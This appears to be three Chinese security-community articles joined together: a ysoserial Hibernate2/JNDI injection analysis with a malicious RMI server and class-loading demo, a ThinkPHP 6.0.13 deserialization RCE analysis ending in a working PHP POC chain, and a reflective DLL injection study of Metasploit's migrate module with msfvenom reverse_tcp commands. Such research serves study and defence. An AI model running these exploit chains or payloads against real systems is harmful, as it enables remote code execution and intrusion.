我们看到RpcPrincipleTestInterface接口真正的实现类是RpcPrincipleTestImpl，那刚才我们究竟是怎么做到在client端调用了server端的RpcPrincipleTestImpl的呢？关键在于RpcPrincipleServerSkeleton这个类，我们观察下他的源码
public class RpcPrincipleServerSkeleton {
private static boolean running = true;
public static void main(String[] args) throws Exception {
ServerSocket serverSocket = new ServerSocket(8888);
while (running) {
Socket s = serverSocket.accept();
process(s);
s.close();
}
serverSocket.close();
}
private static void process(Socket s) throws Exception {
InputStream in = s.getInputStream();
OutputStream out = s.getOutputStream();
ObjectInputStream ois = new ObjectInputStream(in);
String methodName = ois.readUTF();
Class[] parameterType = (Class[]) ois.readObject();
Object[] args = (Object[]) ois.readObject();
RpcPrincipleTestInterface rpcPrincipleTestInterface = new RpcPrincipleTestImpl();
Method method = rpcPrincipleTestInterface.getClass()
.getMethod(methodName,
parameterType);
Type t = method.getAnnotatedReturnType().getType();
if (t.getTypeName().equals("int")) {
int result = (int) method.invoke(rpcPrincipleTestInterface, args);
DataOutputStream output = new DataOutputStream(out);
output.writeInt(result);
output.flush();
} else if (t.getTypeName().equals("java.lang.String")) {
String result = (String) method.invoke(rpcPrincipleTestInterface,
args);
DataOutputStream output = new DataOutputStream(out);
output.writeUTF(result);
output.flush();
}
}
}
在RpcPrincipleServerSkeleton中我们首先监听了8888端口，然后将Socket对象传入process方法中。process方法中接收客户端传的，调用方法的方法名，参数类型，以及参数值。按顺序将其反序列化出来然后通过反射调用RpcPrincipleTestImpl对象中的对应方法，然后将得到的返回值进行类型的判断，紧接着就将其进行序列化然后通过socket返回給client端，至此就是一个RPC的基础流程，我在这里演示的RPC
demo可以说是简陋，真实的RPC框架背后的实现要比这复杂n倍，但是复杂归复杂，原理都是一样的。
## 3.RMI简介
介绍完了RPC，接下来就介绍一下RPC框架的一种实现，也就是RMI，直接通过代码来进行演示
先看一下远程方法调用方，也就是client端的目录结构
然后是远程方法服务提供方，也就是server端
RMITestInterface是一个公开接口，就像上一节所讲的，底层生成的代理类是需要实现该接口的,此公共接口一定要继承java.rmi.Remote接口，否则编译时会报错，以下是RMITestInterface的代码,
public interface RMITestInterface extends Remote {
public String sayHello(String name) throws RemoteException;
}我们在RMIClientTest类中发起远程方法调用的请求，以下是RMIClientTest的代码public class RMIClientTest {
public static void main(String[] args) {
try {
/** Registry registry = LocateRegistry.getRegistry("localhost",1099);
RMITestInterface rmiTestInterface = (RMITestInterface) registry.lookup("RMIClientTestImpl");*/
RMITestInterface rmiTestInterface = (RMITestInterface) Naming.lookup("rmi://localhost:1099/RMITestInterfaceImpl");
/**Naming.lookup帮忙封装了上面的两个步骤，将两步合成一步了，原本要写两行代码现在只要一行就行了*/
System.out.println(rmiTestInterface.sayHello("World"));
} catch(Exception e) {
e.printStackTrace();
}
}
}
接下来就是server端的代码，首先我们看RMITestInterfaceImpl，可以看到该类实现了RMITestInterface接口，同时同学们应该也注意到该类继承了一个UnicastRemoteObject类，在RMI中如果一个类要绑定进行远程方法提供的话有两种方法，一就是继承UnicastRemoteObject类，第二种就是在实例化时通过调用UnicastRemoteObject.exportObject()静态方法来实例化该对象。
public class RMITestInterfaceImpl extends UnicastRemoteObject
implements RMITestInterface {
private static final long serialVersionUID = -6151588688230387192L;
public int num = 1;
protected RMITestInterfaceImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello" + name + "^_^";
}
}
最后我们来看RMIServerTestImpl类，在该类里我们绑定了一个RMITestInterface对象来进行提供远程方法调用的服务
public class RMIServerTestImpl {
public static void main(String[] args) {
try {
RMITestInterface rmiTestInterface = new RMITestInterfaceImpl();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://localhost:1099/RMITestInterfaceImpl",
rmiTestInterface);
System.out.println("Ready");
} catch (Exception e) {
e.printStackTrace();
}
}
}
最后我们在client端执行RMIClientTest可得到以下结果
## 4.Hibernate2漏洞原理深度分析
整体漏洞的执行逻辑同Hibernate1并无太大差别，首先看一下ysoserial
Hibernate封装恶意代码的逻辑，这次还是用了和上次一样的脑图，对其中利用到的不同的类进行了修改
除了一开始被封装而且是用来最终执行代码的TemplatesImpl类变成了JdbcRowSetImpl类以外几乎没有什么变化了，也就是说前期的执行调用链是一样的。
为了方便大家理解就再把执行过程从头简述一遍。
首先反序列化我们最终封装完成的HashMap对象，自然会调用HashMap的readObject()方法,然后在readObject()方法的末尾有一个for循环，
由脑图可知这里的key和value对象存储的是同一个Type对象
接下来在putForCreate()方法里又调用的hash()方法
最终嵌套执行到BasicPropertyAccessor$BasicGetter的get()方法。
这里调用了Method.invoke方法，我们看一下method变量和target的具体信息
可以看到最终通过反射的方式调用了JdbcRowSetImpl.getDatabaseMetaData()方法,漏洞触发真正的重点从这里才开始和ysoserial
Hibernate1有所不同。
我们跟进getDatabaseMetaData()方法，看到该方法同时调用了自身的connect方法，我们继续跟进
Var1.lookup(this.getDataSourceName())就是触发远程代码执行的罪魁祸首
但这么说大家肯定有人会不理解，为何这个函数会造成代码执行。
首先我们先看这个var1，var1是一个InitialContext对象，存在于javax.naming这个包中
那么javax.naming这个包又是干什么的？我们百度一下就可以知道，这个包就是我们常听到的一个概念JNDI
关于JNDI的基础概念就不再过多赘述了
正如第3节内容所讲的RMI远程方法调用一样，JNDI功能中的一部分就是帮我们又封装了一下RMI，从而可以让我们更方便的实现远程方法调用。
下面用代码来复现这个漏洞的原理
首先是jndi client端
public class JndiClientTest {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
ctx.lookup(“rmi: //127.0.0.1:9999/evil”);
System.out.println(System.getProperty(“java.version”));
}
}
然后是一个恶意server端
public class RMIServer1 {
public static void main(String[] args) throws RemoteException,
NamingException,
AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println(“java RMI registry created.port on 9999…”);
Reference reference = new Reference(“ExportObject”, “com.test.remoteclass.evil”, “http: //127.0.0.1:8000/“);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind(“evil”, referenceWrapper);
}
}
紧接着是一个用来提供恶意类加载的一个简易http Server
public class HttpServer implements HttpHandler {@Override public void handle(HttpExchange httpExchange) {
try {
System.out.println(“new http request from“ + httpExchange.getRemoteAddress() + ““ + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch(Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
最后就是我们包含有恶意代码的类了
public class evil implements ObjectFactory,
Serializable {
private static final long serialVersionUID = 4474289574195395731L;
static {
try {
exec(“open / Applications / Calculator.app”);
} catch(Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = “”;
BufferedInputStream in =new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); in .close();
}@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable < ?, ?>environment) throws Exception {
return null;
}
}
可以看到在静态代码块中写有我们要执行的命令
我们先启动server端和http server。然后运行client端就可以出发命令执行
这是为什么呢？在第三节中我们简单介绍了RMI，RMI可以进行远程方法调用，RMI还可以进行动态类加载，即可以从一个远程服务器以[http://、ftp://、file://等形式动态加载一个.class文件到本地然后进行操作。但是这种RMI动态类加载的限制极大。有以下要求](http://%E3%80%81ftp://%E3%80%81file://%E7%AD%89%E5%BD%A2%E5%BC%8F%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E4%B8%80%E4%B8%AA.class%E6%96%87%E4%BB%B6%E5%88%B0%E6%9C%AC%E5%9C%B0%E7%84%B6%E5%90%8E%E8%BF%9B%E8%A1%8C%E6%93%8D%E4%BD%9C%E3%80%82%E4%BD%86%E6%98%AF%E8%BF%99%E7%A7%8DRMI%E5%8A%A8%E6%80%81%E7%B1%BB%E5%8A%A0%E8%BD%BD%E7%9A%84%E9%99%90%E5%88%B6%E6%9E%81%E5%A4%A7%E3%80%82%E6%9C%89%E4%BB%A5%E4%B8%8B%E8%A6%81%E6%B1%82)
1. 由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置java.security.policy，这在后面的利用中可以看到。
2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
我们使用JNDI同样可以进行动态类加载，而且限制相比于使用RMI要小很多。在jdk1.7.0_21版本我们可以不做任何配置直接进行远程class的加载。
但当jdk版本大于等于JDK 6u132、JDK 7u122、JDK 8u113 之后，系统属性
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false，即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
我们更换jdk版本演示一下，可以看到jdk版本为1.8.0._221时会抛出com.sun.jndi.rmi.object.trustURLCodebase
为flase的异常
至此 ysoserial Hibernate2 漏洞原理分析完毕，感谢观看。
## 5.总结
此次漏洞利用的思路相较于之前的Hibernate1
主要变化在最终触发命令执行的类由TemplatesImpl类变成了JdbcRowSetImpl类，最终执行漏洞方式又由加载本地通过动态字节码生成的类从而触发其静态代码块中的恶意代码换成了通过RMI+JNDI+Reference,
然后最终由lookup()方法动态加载一个远程class文件从而触发其静态代码块中的恶意代码。 | 社区文章 |
##### 1.环境搭建
目前的Thinkphp6.1.0以上已经将filesystem移除了，之前因为这玩意儿曝出了好多条反序列化漏洞。
composer安装Thinkphp6.0.13：
composer create-project topthink/think=6.0.13 tp6
修改app/controller/Index.php添加反序列化点：
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index(){
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return "hello";
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
##### 2.漏洞分析
入口是`League\Flysystem\Cached\Storage\Psr6Cache`父类`League\Flysystem\Cached\Storage\AbstractCache`的`__destruct()`方法：
`$this->autosave`可控，调用Psr6Cache类的save()方法，跟进：
$this->pool可控，可以调用任意类的`__call()`方法，漏洞披露者在这儿调用的是`think\log\Channel`类的`__call()`方法：
传入的参数中$method是调用调用`__call()`方法时的方法名，即getItem。$parameters传入的是可控的`$this->key`。跟进`log()`方法：
调用了`record()`方法：
这里面很多参数都可控，控制`$this->lazy`参数为false即可调用save()方法：
`$this->logger`参数可控，调用任意类的save()方法，这里利用的是`think\log\driver\Socket`的save()方法：
首先是要绕过第一个判断，`if (!$this->check())`，需要check()方法返回true，跟进check()方法看看：
这里控制`$this->config['force_client_ids']`为true，`$this->config['allow_client_ids']`为空即可成功返回true。返回save()方法，控制`$this->config['debug']`为true进入分支：
继续进入下一个分支需要`$this->app->exists('request')`返回true。所以给`$this->app`赋值为`think\APP`类，APP类没有exists()方法，调用父类`think\Container`的exists()方法:
注释中说明了这个方法的功能，传入的`$abstract`参数是request，调用getAlias()方法，跟进看一下这个方法的功能：
根据别名获取真实类名，所以这个函数的返回的是`think\Request`，需要exists()方法中的`isset($this->instances[$abstract])`返回true,给`$this->instances`赋值为`['think\Request'=>new
Request()]`即可：
接下来，调用Request类的url()方法：
url()方法中将我们可控的`$this->url`赋值给$url，同时因为传入的$complete参数为true，所以会调用domain()方法，并将返回结果和可控的$url拼接起来：
这里是在拼接协议和host，我这里调试获取到的结果是：
执行url()方法获取到的结果赋值给$currentUri参数：
给$this->config['format_head']赋值，执行Container类的invoke方法：
跟进invoke()方法，执行第三个return语句：
跟进invokeMethod方法，如果我们传入的是数组，就将键赋给$class，将值赋给$method:
接下来的代码玩java反序列化的选手应该比较熟悉了，这三行代码实现了反射执行任意类的任意方法：
而其中$class和$method是我们控制的`$this->config['format_head']`变量中的内容，$vars是$currentUri变量中的内容，其中拼接时传入的`$this->url`部分是我们可控的：
三个参数都可控，寻找一个可以利用的类和方法，这里找到的是`think\view\driver\Php#display()`，很明显的rce了：
再回头来看看我们传的参数，$currentUri变量的前半部分是`http://`，后半部分就是我们拼接的`$this->url`，控制`$this->url`为我们想要执行的php代码即可：
最终实现RCE：
Poc：
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}
参考链接：<https://github.com/top-think/framework/issues/2749> | 社区文章 |
**作者：深信服千里目安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/kVpesy_w7XLanL_WhRhn-Q>**
# 一、前言
dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性，通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。
常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大，很容易被edr等安全产品检测到。为了弥补这个缺陷，stephen
fewer提出了反射式dll注入技术并在[github开源](https://github.com/stephenfewer/ReflectiveDLLInjection)，反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载，期间无任何文件落地，安全产品的检测难度大大增加。
本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。
# 二、dll注入技术简介
## 2.1 常规dll注入技术
常规dll注入有:
1. 通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
2. 通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
3. 通过调用SetWindowsHookEx()函数来设置拦截事件，在发生对应的事件时，被注入进程执行拦截事件函数加载dll。
以使用CreateRemoteThread()函数进行dll注入的方式为例，实现思路如下:
1. 获取被注入进程PID。
2. 在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
3. 使用openOpenProcess()函数获取被注入进程句柄。
4. 使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
5. 使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
6. 通过CreateRemoteThread()函数来调用LoadLibraryA()函数，在被注入进程新启动一个线程，使得被注入进程进程加载恶意的DLL。
常规dll注入示意图如上图所示。该图直接从步骤3)开始，步骤1)和步骤2)不在赘述。
## 2.2 反射式dll注入技术
反射式dll注入与常规dll注入类似，而不同的地方在于反射式dll注入技术自己实现了一个reflective
loader()函数来代替LoadLibaryA()函数去加载dll，示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤，红框中的是reflective
loader()函数行为，也是下面重点描述的地方。
Reflective loader实现思路如下：
1. 获得被注入进程未解析的dll的基地址，即下图第7步所指的dll。
2. 获得必要的dll句柄和函数为修复导入表做准备。
3. 分配一块新内存去取解析dll，并把pe头复制到新内存中和将各节复制到新内存中。
4. 修复导入表和重定向表。
5. 执行DllMain()函数。
# 三、 **Msf migrate模块剖析**
msf的migrate模块是post阶段的一个模块，其作用是将meterpreter payload从当前进程迁移到指定进程。
在获得meterpreter session后可以直接使用migrate命令迁移进程，其效果如下图所示:
migrate的模块的实现和stephen
fewer的[ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection)项目大致相同，增加了一些细节，其实现原理如下:
1. 读取metsrv.dll（metpreter payload模板dll）文件到内存中。
2. 生成最终的payload。
a) msf生成一小段汇编migrate stub主要用于建立socket连接。
b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective
loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。
3. 向msf server发送migrate请求和payload。
4. msf向迁移目标进程分配一块内存并写入payload。
5. msf首先会创建的远程线程执行migrate stub，如果失败了，就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader，meterpreter loader才会调用reflective loader。
6. reflective loader进行反射式dll注入。
7. 最后msf client和msf server建立一个新的session。
原理图如下所示:
图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容，绿色的填充表示增加内容。migrate模块的reflective
loader是直接复用了stephen
fewer的ReflectiveDLLInjection项目的[ReflectiveLoader.c](https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c)中的ReflectiveLoader()函数。下面我们主要关注reflective
loader的行为。
## 3.1 静态分析
### 3.1.1 获取dll基地址
ReflectiveLoader()首先会调用caller()函数
uiLibraryAddress = caller();
caller()函数实质上是_ReturnAddress()函数的封装。caller()函数的作用是获取caller()函数的返回值，在这里也就是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后，向低地址逐字节比较是否为为dos头的标识MZ字串，若当前地址的内容为MZ字串，则把当前地址认为是dos头结构体的开头，并校验dos头e_lfanew结构成员是否指向pe头的标识”PE”字串。若校验通过，则认为当前地址是正确的dos头结构体的开头。
while( TRUE )
{
//将当前地址当成dos头结构，此结构的e_magic成员变量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
//判断e_lfanew结构成员是否指向PE子串，是则跳出循环，取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
### 3.1.2 获取必要的dll句柄和函数地址
获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称，之后算出dll名称的hash，最后进行hash对比得到最终的hash。
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
ULONG_PTR tmpValC = uiValueC;
//计算tmpValC所指向子串的hash值，并存储在uiValueC中
....
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
必要的函数是遍历函数所在的dll导出表获得函数名称，然后做hash对比得到的。
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH
//等于其他函数hash的情况
|| ...
)
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函数hash的情况
...
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
### 3.1.3 将dll映射到新内存
Nt optional
header结构体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。所以ReflectiveLoader()获取到SizeOfImage的大小，分配一块新内存,然后按照section
headers结构中的文件相对偏移和相对虚拟地址，将pe节一一映射到新内存中。
//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//将每一节的内容复制到新内存对应的位置
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
### 3.1.4 修复导入表和重定位表
首先更具导入表结构，找到导入函数所在的dll名称，然后使用loadlibary()函数载入dll，根据函数序号或者函数名称，在载入的dll的导出表中，通过hash对比，并把找出的函数地址写入到新内存的IAT表中。
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函数加载对应的dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//如果导入函数是通过函数编号导入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通过函数编号索引导入函数所在dll的导出函数
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//将对应的导入函数地址写入IAT表
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//导入函数通过名称导入的
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是为了解决程序指定的imagebase被占用的情况下，程序使用绝对地址导致访问错误的情况。一般来说，在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0，则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根据不同的标识，修正每一项对应地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
## 3.2 动态调试
本节一方面是演示如何实际的动态调试msf的migrate模块，另一方面也是3.1.1的一个补充，从汇编层次来看3.1.1节会更容易理解。
首先用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
并使用msfconsole设置监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
之后在受害机使用windbg启动msf.exe并且
bu KERNEL32!CreateRemoteThread;g
获得被注入进程新线程执行的地址，以便调试被注入进程。
当建立session连接后，在msfconsole使用migrate命令
migrate 5600 //5600是要迁移的进程的pid
然后msf.exe在CreateRemoteThread函数断下，CreateRemoteThread函数原型如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我们要找第四个参数lpStartAddress的值，即r9寄存器的内容，
使用
!address 000001c160bb0000
去notepad进程验证一下，是可读可写的内存，基本上就是对的
